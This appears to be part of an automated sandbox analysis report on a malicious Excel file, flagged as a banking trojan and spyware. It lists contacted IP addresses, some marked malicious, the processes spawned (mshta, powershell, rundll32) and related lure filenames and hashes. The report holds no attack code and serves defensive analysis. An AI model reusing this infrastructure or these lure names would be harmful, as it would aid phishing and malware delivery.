http://www.%s.comPA	mshta.exe, 00000013.00000002.2341613809.0000000003D40000.00000002.00000001.sdmp, powershell.exe, 00000014.00000002.2416505711.0000000002450000.00000002.00000001.sdmp	true	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	rundll32.exe, 00000003.00000002.2420638109.0000000001E27000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2416494035.0000000001F47000.00000002.00000001.sdmp, mshta.exe, 00000013.00000002.2341411688.0000000003917000.00000002.00000001.sdmp	true	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.hotmail.com/oe	rundll32.exe, 00000003.00000002.2420148459.0000000001C40000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2416331199.0000000001D60000.00000002.00000001.sdmp, mshta.exe, 00000013.00000002.2341263910.0000000003730000.00000002.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
104.16.249.249	unknown	United States	13335	CLOUDFLARENETUS	false
8.208.96.68	unknown	Singapore	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	true
80.208.230.180	unknown	Lithuania	62282	RACKRAYUABRakrejusLT	false
45.67.231.135	unknown	Moldova Republic of	50673	SERVERIUS-ASNL	true

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	350432
Start date:	09.02.2021
Start time:	11:52:13
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	xls.xls
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	39
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.phis.bank.troj.spyw.expl.evad.winXLS@63/76@14/4
EGA Information:	Failed
HDC Information:	Successful, ratio: 25.1% (good quality ratio 24.9%) Quality average: 81.4% Quality standard deviation: 20.6%
HCA Information:	Successful, ratio: 85% Number of executed functions: 135 Number of non-executed functions: 366
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xls Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, conhost.exe, WmiPrvSE.exe, svchost.exe Excluded IPs from analysis (whitelisted): 88.221.62.148, 184.30.25.170, 92.122.145.53, 84.53.167.109, 92.122.213.194, 92.122.213.240, 13.107.246.13, 152.199.19.160, 92.122.213.247, 13.107.13.80, 131.253.33.200, 13.107.22.200, 152.199.19.161 Excluded domains from analysis (whitelisted): assets.onestore.ms.edgekey.net, api.bing.com, afd.e-0001.dc-msedge.net, e13678.dscb.akamaiedge.net, a1449.dscg2.akamai.net, www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net, a1945.g2.akamai.net, e11290.dspg.akamaiedge.net, iecvlist.microsoft.com, www.microsoft.com-c-3.edgekey.net, go.microsoft.com, mscomajax.vo.msecnd.net, star-azurefd-prod.trafficmanager.net, www-bing-com.dual-a-0001.a-msedge.net, statics-marketingsites-eus-ms-com.akamaized.net, img-prod-cms-rt-microsoft-com.akamaized.net, api-bing-com.e-0001.e-msedge.net, e10583.dspg.akamaiedge.net, www.bing.com, e-0001.dc-msedge.net, cs22.wpc.v0cdn.net, ie9comview.vo.msecnd.net, Edge-Prod-FRAr3.ctrl.t-0003.t-msedge.net, r20swj13mr.microsoft.com, assets.onestore.ms.akadns.net, c-s.cms.ms.akadns.net, dual-a-0001.dc-msedge.net, c.s-microsoft.com, t-0003.t-msedge.net, a-0001.a-afdentry.net.trafficmanager.net, go.microsoft.com.edgekey.net, c.s-microsoft.com-c.edgekey.net, e13678.dscg.akamaiedge.net, www.microsoft.com, wcpstatic.microsoft.com, cs9.wpc.v0cdn.net Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing disassembly code. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryDirectoryFile calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:53:23	API Interceptor	634x Sleep call for process: rundll32.exe modified
11:54:37	API Interceptor	16x Sleep call for process: mshta.exe modified
11:54:39	API Interceptor	267x Sleep call for process: powershell.exe modified
11:55:15	API Interceptor	3x Sleep call for process: nslookup.exe modified
11:55:17	API Interceptor	4x Sleep call for process: explorer.exe modified
11:55:18	API Interceptor	6x Sleep call for process: ipconfig.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
myip.opendns.com	0xyZ4rY0opA2.vbs	Get hash	malicious	Browse	84.17.52.25
	6Xt3u55v5dAj.vbs	Get hash	malicious	Browse	84.17.52.25
	2Q4tLHa5wbO1.vbs	Get hash	malicious	Browse	84.17.52.25
	earmarkavchd.dll	Get hash	malicious	Browse	84.17.52.25
	6znkPyTAVN7V.vbs	Get hash	malicious	Browse	84.17.52.25
	fY9ZC2mGfd.exe	Get hash	malicious	Browse	84.17.52.40
	H58f3VmSsk.exe	Get hash	malicious	Browse	84.17.52.40
	YjimyNp5ma.exe	Get hash	malicious	Browse	84.17.52.40
	4.exe	Get hash	malicious	Browse	84.17.52.10
	PtgzM1Gd04Up.vbs	Get hash	malicious	Browse	84.17.52.10
	Win7-SecAssessment_v7.exe	Get hash	malicious	Browse	91.132.136.164
	Capasw32.dll	Get hash	malicious	Browse	84.17.52.80
	my_presentation_u6r.js	Get hash	malicious	Browse	84.17.52.22
	open_attach_k7u.js	Get hash	malicious	Browse	84.17.52.22
	ZwlegcGh.exe	Get hash	malicious	Browse	84.17.52.22
	dokument9903340.hta	Get hash	malicious	Browse	84.17.52.22
	look_attach_s0r.js	Get hash	malicious	Browse	84.17.52.22
	my_presentation_u5c.js	Get hash	malicious	Browse	84.17.52.22
	presentation_p6l.js	Get hash	malicious	Browse	84.17.52.22
	job_attach_x0d.js	Get hash	malicious	Browse	84.17.52.22
resolver1.opendns.com	Presentation_68192.xlsb	Get hash	malicious	Browse	208.67.222.222
	sup11_dump.dll	Get hash	malicious	Browse	208.67.222.222
	out.dll	Get hash	malicious	Browse	208.67.222.222
	crypt_3300.dll	Get hash	malicious	Browse	208.67.222.222
	SecuriteInfo.com.Generic.mg.81f401defa8faa2e.dll	Get hash	malicious	Browse	208.67.222.222
	6007d134e83fctar.dll	Get hash	malicious	Browse	208.67.222.222
	J5cB3wfXIZ.dll	Get hash	malicious	Browse	208.67.222.222
	6006bde674be5pdf.dll	Get hash	malicious	Browse	208.67.222.222
	mal.dll	Get hash	malicious	Browse	208.67.222.222
	fo.dll	Get hash	malicious	Browse	208.67.222.222
	5fd9d7ec9e7aetar.dll	Get hash	malicious	Browse	208.67.222.222
	5fd885c499439tar.dll	Get hash	malicious	Browse	208.67.222.222
	5fc612703f844.dll	Get hash	malicious	Browse	208.67.222.222
	https___purefile24.top_4352wedfoifom.dll	Get hash	malicious	Browse	208.67.222.222
	vnaSKDMnLG.dll	Get hash	malicious	Browse	208.67.222.222
	0xyZ4rY0opA2.vbs	Get hash	malicious	Browse	208.67.222.222
	6Xt3u55v5dAj.vbs	Get hash	malicious	Browse	208.67.222.222
	5fbce6bbc8cc4png.dll	Get hash	malicious	Browse	208.67.222.222
	JeSoTz0An7tn.vbs	Get hash	malicious	Browse	208.67.222.222
	1qdMIsgkbwxA.vbs	Get hash	malicious	Browse	208.67.222.222

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
RACKRAYUABRakrejusLT	MPbBCArHPF.exe	Get hash	malicious	Browse	79.98.25.1
	jjuufksfn.exe	Get hash	malicious	Browse	80.209.229.192
	wYvHbw46Xi.exe	Get hash	malicious	Browse	80.209.229.192
	2OfH3605ic.exe	Get hash	malicious	Browse	62.77.159.31
	https://bit.ly/2Ws7mjm?l=www.bancoestado.cl	Get hash	malicious	Browse	79.98.26.108
	Invoice for PO 9201072.html	Get hash	malicious	Browse	79.98.29.228
	Play_Now #U23ee#Ufe0f #U25b6#Ufe0f #U23ed#Ufe0f Nicholson.HTM	Get hash	malicious	Browse	80.209.233.68
	http.docx	Get hash	malicious	Browse	80.209.233.101
	http.docx	Get hash	malicious	Browse	80.209.233.101
	PO_#09112020.xlsx	Get hash	malicious	Browse	185.5.53.33
	XqHyunBDxl.exe	Get hash	malicious	Browse	79.98.24.39
	http://www.proco.lt/admin/infodata.php?r=bD1odHRwOi8va2FydGFzYW	Get hash	malicious	Browse	79.98.28.170
	https://diyachting.co.uk/	Get hash	malicious	Browse	194.135.87.62
	yEgeRoEgBk.exe	Get hash	malicious	Browse	79.98.24.39
	#Ud83d#Udd6aESD_NewAudioMessage.htm	Get hash	malicious	Browse	212.237.232.221
	cobaltstrike_shellcode.exe	Get hash	malicious	Browse	109.235.70.99
	haydenj235340.HTM	Get hash	malicious	Browse	89.40.4.210
	plusnew.exe	Get hash	malicious	Browse	79.98.28.30
	bh8WxLmtIV.exe	Get hash	malicious	Browse	109.235.70.99
CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	Wh102yYa.dll	Get hash	malicious	Browse	8.208.10.147
	Docs.exe	Get hash	malicious	Browse	47.251.32.175
	0204_170387664101931.doc	Get hash	malicious	Browse	8.209.78.68
	0204_47091115550132.doc	Get hash	malicious	Browse	8.209.78.68
	Y1nW4ALZw1.exe	Get hash	malicious	Browse	8.210.69.194
	Wh102yYa.dll	Get hash	malicious	Browse	8.209.78.68
	Presentation_68192.xlsb	Get hash	malicious	Browse	47.89.250.152
	2e00000.dll	Get hash	malicious	Browse	8.209.78.68
	recoverit_setup_full4153.exe	Get hash	malicious	Browse	47.91.67.36
	win-drfone_setup_full3360.exe	Get hash	malicious	Browse	47.91.67.36
	Wh102yYa.dll	Get hash	malicious	Browse	8.209.78.68
	YRbZUVOOBE.exe	Get hash	malicious	Browse	47.91.94.48
	s1zX6HP8B6.exe	Get hash	malicious	Browse	47.91.94.48
	imTmqTngvS.exe	Get hash	malicious	Browse	8.210.208.30
	XWT7m1cblQ.exe	Get hash	malicious	Browse	8.208.101.136
	ActiveDirectorySync.exe	Get hash	malicious	Browse	47.254.170.48
	eDpjcIIh9G.exe	Get hash	malicious	Browse	8.210.69.194
	ZjPOfkD2zH.exe	Get hash	malicious	Browse	47.88.84.51
	fgolod-b66450zobp.vbs	Get hash	malicious	Browse	47.88.57.207
	0fiasS.dll	Get hash	malicious	Browse	8.209.78.68
CLOUDFLARENETUS	v1K1JNtCgt.exe	Get hash	malicious	Browse	172.67.216.201
	LIFE BOAT WIRE FALLS.xlsx	Get hash	malicious	Browse	104.22.0.232
	requisition from ASTRO EXPRESS.xlsx	Get hash	malicious	Browse	172.67.8.238
	Shipping-Documents.exe	Get hash	malicious	Browse	172.67.188.154
	SP AIR B00,pdf.exe	Get hash	malicious	Browse	162.159.129.233
	DHL_119040 nyugtabizonylat,pdf.exe	Get hash	malicious	Browse	162.159.129.233
	2SDdq2cPhF.exe	Get hash	malicious	Browse	172.67.188.154
	Tuesday, February 9th, 2021 83422 a.m., 20210209083422.7B8380338EC1D61B@sophiajoyas.cl.html	Get hash	malicious	Browse	104.16.18.94
	QUOTATION AND ORDER REQUEST.xlsx	Get hash	malicious	Browse	104.22.0.232
	Invoice_1606.jar	Get hash	malicious	Browse	104.20.22.46
	Invoice_1606.jar	Get hash	malicious	Browse	104.20.23.46
	RFQ WBH00738_.xlsx	Get hash	malicious	Browse	172.67.8.238
	Specifications.xlsx	Get hash	malicious	Browse	172.67.160.29
	SOA - NCL INTER LOGISTICS.xlsx	Get hash	malicious	Browse	104.22.0.232
	Bank Documents.exe	Get hash	malicious	Browse	172.67.188.154
	Specifications.xlsx	Get hash	malicious	Browse	172.67.160.29
	PART-IMS TBN63355-ON 1330 MVSL-6233637821646.xlsx	Get hash	malicious	Browse	104.22.0.232
	HSBC Remittance.xlsx	Get hash	malicious	Browse	104.22.1.232
	MT2001205-REX 5.25.xlsx	Get hash	malicious	Browse	172.67.188.154
	DCSGROUP.xlsx	Get hash	malicious	Browse	104.22.1.232

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
7dcce5b76c8b17472d024758970a406b	LIFE BOAT WIRE FALLS.xlsx	Get hash	malicious	Browse	104.16.249.249
	requisition from ASTRO EXPRESS.xlsx	Get hash	malicious	Browse	104.16.249.249
	Cerere de pret NUM003112 09-02-2021.doc	Get hash	malicious	Browse	104.16.249.249
	contract (48).xls	Get hash	malicious	Browse	104.16.249.249
	BROCHURES.doc	Get hash	malicious	Browse	104.16.249.249
	QUOTATION AND ORDER REQUEST.xlsx	Get hash	malicious	Browse	104.16.249.249
	SOA - NCL INTER LOGISTICS.ppt	Get hash	malicious	Browse	104.16.249.249
	N 283.353.xlsx	Get hash	malicious	Browse	104.16.249.249
	RFQ WBH00738_.xlsx	Get hash	malicious	Browse	104.16.249.249
	answer (36).xls	Get hash	malicious	Browse	104.16.249.249
	SOA - NCL INTER LOGISTICS.xlsx	Get hash	malicious	Browse	104.16.249.249
	PART-IMS TBN63355-ON 1330 MVSL-6233637821646.xlsx	Get hash	malicious	Browse	104.16.249.249
	HSBC Remittance.xlsx	Get hash	malicious	Browse	104.16.249.249
	MT2001205-REX 5.25.xlsx	Get hash	malicious	Browse	104.16.249.249
	DCSGROUP.xlsx	Get hash	malicious	Browse	104.16.249.249
	INV-08974589.xlsx	Get hash	malicious	Browse	104.16.249.249
	scan00006.xlsx	Get hash	malicious	Browse	104.16.249.249
	MT OCEAN STAR ISO 8217 2005.xlsx	Get hash	malicious	Browse	104.16.249.249
	PO 213409701.xlsx	Get hash	malicious	Browse	104.16.249.249
	Payment Swift.xlsx	Get hash	malicious	Browse	104.16.249.249

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico Download File
Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	PNG image data, 16 x 16, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	237
Entropy (8bit):	6.1480026084285395
Encrypted:	false
SSDEEP:	6:6v/lhPIF6R/C+u1fXNg1XQ3yslRtNO+cKvAElRApGCp:6v/7b/C1fm1ZslRTvAElR47
MD5:	9FB559A691078558E77D6848202F6541
SHA1:	EA13848D33C2C7F4F4BAA39348AEB1DBFAD3DF31
SHA-256:	6D8A01DC7647BC218D003B58FE04049E24A9359900B7E0CEBAE76EDF85B8B914
SHA-512:	0E08938568CD123BE8A20B87D9A3AAF5CB05249DE7F8286FF99D3FA35FC7AF7A9D9797DD6EFB6D1E722147DCFB74437DE520395234D0009D452FB96A8ECE236B
Malicious:	false
Preview:	.PNG........IHDR................R....sRGB.........gAMA......a.....pHYs..........o.d...-PLTE......(..5..X..h...........................J4.I...IIDAT.[c`..&.(.....F....cX.(@.j.+@..K.(..2L....1.{.....c`]L9.&2.l...I..E.......IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{7EC51268-6B10-11EB-ADCF-ECF4BBB5915B}.dat Download File
Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	29272
Entropy (8bit):	1.7648521522326683
Encrypted:	false
SSDEEP:	48:IvlGcpUcGwp0PdG/apnPwWXrGIpHPwCvGvnZpEPwCqfOGogVqpqPwCqfVf/Go48k:M7KUKBpx9JWat0nx3oKNB
MD5:	5BD50300B1B5887CF9863AB8BB552B9F
SHA1:	0BBFC4BCAC5DEF57091DA3A5873B40D6C7D37A45
SHA-256:	D9CD64B4AA05F17B9497A9F9C1E0BEC15E37EDE52474483EF3C4B8E1DF1FFF26
SHA-512:	E34E07E710B5C26919F5874C308C84AF30CB51C43B55E3EA4612017D4691F45C33C16B37A07346E6A4DA048861CDECDAC5BD32E2941D43FB617607EBC401C4F8
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{9B0BCB09-6B10-11EB-ADCF-ECF4BBB5915B}.dat Download File
Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	29272
Entropy (8bit):	1.763166736073164
Encrypted:	false
SSDEEP:	48:Iv7GcpUOGwp0ifiG/apnif5VrGIpHif5HWGvnZpEif5HVqmGok2Vqpqif5HVCqnj:MhKmKdpc9JQazd0owF3sYwfB
MD5:	D83F16B5829DF2CC9610942527CF2142
SHA1:	D4F86D76603DB67A9BF76783AEB7CD4CA2213812
SHA-256:	00CA34CEBA6BE9DB0DECCCA65CD5E704EA6A615E03926C7BA3D29D1BAC5C29FC
SHA-512:	3CA5403D454369849DB2AA5DFC4A8944DC3AE3268008FEE8394819AFDC1882F141AF0C4B451613E58B0852A702BCEC7201A16DCF46A6844AAAE475848B586A4B
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{9CE57CE0-6B10-11EB-ADCF-ECF4BBB5915B}.dat Download File
Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	29272
Entropy (8bit):	1.7656971082924968
Encrypted:	false
SSDEEP:	48:IvCGcpUNhGwp0kGiG/apnkGdGZrGIpHkGdGbGHGvnZpEkGdGbGUGRGoZVqpqkGdW:M2KNKwpK9J6aO0Lt3MiwB
MD5:	5401A1E25BEBCCE60005A09A7AB1FE14
SHA1:	BF83BF6E1C1BDAAAB68489A14D8E654BBBEF1A35
SHA-256:	6C70B94BBDC332EBF6FD974701A761F91855D21EB3212285B147C735EB870D7E
SHA-512:	BC4C277FC87EE32C159435086CB2392EB2088735060B6B7CE25B8BA37830C2E8C0A7E80D1689E3FE19F22AF6ACFCA623C201D28599514699C2228B7C918ABE1E
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{9F3D57A5-6B10-11EB-ADCF-ECF4BBB5915B}.dat Download File
Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	29272
Entropy (8bit):	1.7639395910756475
Encrypted:	false
SSDEEP:	48:IvzGcpUWGwp0GHG/apnG7IrGIpHG71RGvnZpEG71xyHlGoXVqpqG71xy9ysGo4Ln:MJKOKIpJ9JHare0Ex3aQD/vB
MD5:	43CB138B52D9978AEDF02371998D0362
SHA1:	10687F9F5FBDDAEC42ACABEFCA0C9D28ABEDECAE
SHA-256:	21222723D5E4D749DC8199C5DDC01BA4564CFC690B4EC7EE973128F379A2E217
SHA-512:	1363B673DF1DA5B27550924DE73FE9AACDA1DA24871058E64539EBD3D0A6D04140F60AD12264DA00B7275ABAB6301C0496C0C50B02115FC27BFEB4DFD32D901F
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{7EC5126A-6B10-11EB-ADCF-ECF4BBB5915B}.dat Download File
Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27368
Entropy (8bit):	1.8403167155724853
Encrypted:	false
SSDEEP:	192:MRKibGJA7MFcNpEkJJzgYpWdweWdUdxiA:M4sC+MifTpgYW/V
MD5:	AB1EEED6A6BE17F39994FDACBC9DC3EE
SHA1:	24A92F14AF9F269DE3F2D2C3FB9EB7600C0FBD87
SHA-256:	F05CEAF0B4041D6A2BE4FF4F5E4D80EA2C83DA781D9CEFA1D8DD499AF0050FA8
SHA-512:	0D4EC611EA3F7510237B5D6356EE44B1990EA5E77A70D5878022FD5A23F158CCFE1C631A5DDF9E170D932F44CCB04B662761413A9D263BC8EF4DB9F54642F661
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{9B0BCB0B-6B10-11EB-ADCF-ECF4BBB5915B}.dat Download File
Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27392
Entropy (8bit):	1.8485190274953458
Encrypted:	false
SSDEEP:	192:MMHKiSbJqJ/m7WFcJpskJ+ztYhq4kS+q4k+qA:M3DJ+/gWiLLAtA8R8+N
MD5:	CBD2F675C00CE975B4B6D4C7A8B4A1E6
SHA1:	CC7C06B05597219AE80CDECEE8771EB7A251D4CA
SHA-256:	AD07502AF14B878F7E5CF72C47930F3F33F327A1C8712D051AE84CA98BB1D085
SHA-512:	2F1C39756DF3A811B956196CFEDAA18A7E71E76B2C7C2BB0DD68E5869D385079C71E71B17F14D4B834C108354469357497F90E182F200626F7F308E2756B3387
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{9CE57CE2-6B10-11EB-ADCF-ECF4BBB5915B}.dat Download File
Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27388
Entropy (8bit):	1.8465868118972935
Encrypted:	false
SSDEEP:	192:MQKvb7Jn7FFcCpGkJVszBY9QW/9J2QW/91WlGA:M3Dl7FimdViBEV/CV/+lR
MD5:	B54E87396531B402107B4E72EF9FB784
SHA1:	AD47D37B52E37D5468DB6C0FAEFED97DF33F12AB
SHA-256:	6D2B21C8607DB31674E23651AA0B1F62882D19689E014778A4BF896E66C4DCB7
SHA-512:	E41FED2372A4C8B7AAA70D20635BFAE58DBA217AD63CEC4C0142133B585683CB74F95349AEAAE0192291BF392AE196E6B73001EF6FDC32D81E84A97F09E88B84
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{9F3D57A7-6B10-11EB-ADCF-ECF4BBB5915B}.dat Download File
Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27388
Entropy (8bit):	1.8420814846121023
Encrypted:	false
SSDEEP:	192:M1uKPrbzJZ7XFc1pwkJwzbY9PEQjS2PEQjbEjGA:Mb/NhXi3PmbEPEQjRPEQjbEjR
MD5:	80CA39CF4C3311873B3AD9851F7DA758
SHA1:	E689FC421321A8F2302AA61D05C2F81B74D2C4EE
SHA-256:	84D0F90584AA5217894D52115A3C7B571F5EF98A3EBDFE6B78AF335356B683FC
SHA-512:	792C71724F8D719CE871FA1B79D4237DE3BAD9B6DBBA4AD5DDFC4EE17C8C9580E27AEECD37545D27997BCCD79135E0972261FC421DEE98EFF270CBD881BB390A
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\imagestore\lr5drzg\imagestore.dat Download File
Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	data
Category:	modified
Size (bytes):	5692
Entropy (8bit):	4.137833449339698
Encrypted:	false
SSDEEP:	96:Qq0aWBKVm5zDlvV2rkG4zuAZMXJFG62q7mQh1:bCBF5zZ0IG46AaXJFG6v7m2
MD5:	D9020BA7791E262234F36D488CE55333
SHA1:	824C69EB2184F52188D7D6E8BD39790E1E6C2F2B
SHA-256:	49249166693C547FCFD04824E5AC4DAA47760055DDF5BC9FC18339242D38EC83
SHA-512:	9707ABAC1E2B4DBA44CD05A10089DDD3397BEBCF569AE7391E6E1A415A67E17C3CB779BF9D23028A5F7CBBEB5D686D80A472EC6FEEA123E64BB71891B565A019
Malicious:	false
Preview:	-.h.t.t.p.:././.p.r.o.n.p.e.p.s.i.p.i.r.p.y.a.m.v.i.o.e.r.d...c.o.m./.f.a.v.i.c.o.n...i.c.o.~............... .h.......(....... ..... .....@.....................s...s...s...sw..r.......s...s...s...s.......s...s..s...s...s...s...r...s{..s...s#..s...s..r..s..s...s[..s...s...s..s...s...s...s}..s...sW..r..s...sm..sK..sC..sw..s..s...s%..s!..s..s...s...s...sU..s.sY..s...s..s..r#......s...s...s..s...r%..s[..s...s...s..s]..s...r.sS..s...sq..........s...s...s...s...s.......su..s...s.......s...s..s.sA..............s%..s..s#......r...r...s]..........s...s..sk..s...s...........s...s...s]......s...r..s7..........s...s..r...r...s...r...........s...s.......s...s..s7..........s...s..si..s?..s7..s...........s...s.......s...s...rW..........s...s..s...s...s...s...........s...s[..........ss..s...s.......s...s..sm..sI..s;..s.......s!..s..s#......s...s...s..sQ......s...s..s...r...sm..s...r...s...r...s...s...r...s...sQ..s..rK..s...sg..s'..........s...s...s..s...s'..s_..s...s...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\54-41a2a0[1].css Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode text, with very long lines
Category:	dropped
Size (bytes):	168646
Entropy (8bit):	5.043929314140671
Encrypted:	false
SSDEEP:	3072:jzCPZkTP3bDLH0tfRqQ0xtLfj4ZDSIpTt813viY8R1j35Ap7LQZLPPJH7PAbOCxu:jlZACLkeedh
MD5:	55A2B9AD102C59D9946DF38A108FBF84
SHA1:	65CE0F627FF9508C4DDDEBCBF7332B3D5DE1DB17
SHA-256:	CCB734F5ED4702B8E95450889F1A9B5A5FB86B697C2B2B390C608B466D8FADFB
SHA-512:	A5ECFFF6C3909513522AF8396C48050FD76631DF44CFAFF81986150A481B6B6A1ADD29150DEBFA8FE43F32397E13218845B1EFAAEF1F70E5D78E6EE415CD7AAB
Malicious:	false
Preview:	@charset "UTF-8";./! \| Copyright 2017 Microsoft Corporation \| This software is based on or incorporates material from the files listed below (collectively, "Third Party Code"). Microsoft is not the original author of the Third Party Code. The original copyright notice and the license under which Microsoft received Third Party Code are set forth below together with the full text of such license. Such notices and license are provided solely for your information. Microsoft, not the third party, licenses this Third Party Code to you under the terms in which you received the Microsoft software or the services, unless Microsoft clearly states that such Microsoft terms do NOT apply for a particular Third Party Code. Unless applicable law gives you more rights, Microsoft reserves all other rights not expressly granted under such agreement(s), whether by implication, estoppel or otherwise././! normalize.css v3.0.3 \| MIT License \| github.com/necolas/normalize.css /.body{margin:0}.context-uh

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\mwfmdl2-v3.54[1].woff Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	Web Open Font Format, TrueType, length 26288, version 0.0
Category:	dropped
Size (bytes):	26288
Entropy (8bit):	7.984195877171481
Encrypted:	false
SSDEEP:	768:56JqQaQphRbTHiKNF5z/02h5KpJW3pPOA8Y9g/:gdTTH5XKpJWdH1W/
MD5:	D0263DC03BE4C393A90BDA733C57D6DB
SHA1:	8A032B6DEAB53A33234C735133B48518F8643B92
SHA-256:	22B4DF5C33045B645CAFA45B04685F4752E471A2E933BFF5BF14324D87DEEE12
SHA-512:	9511BEF269AE0797ADDF4CD6F2FEC4AD0C4A4E06B3E5BF6138C7678A203022AC4818C7D446D154594504C947DA3061030E82472D2708149C0709B1A070FDD0E3
Malicious:	false
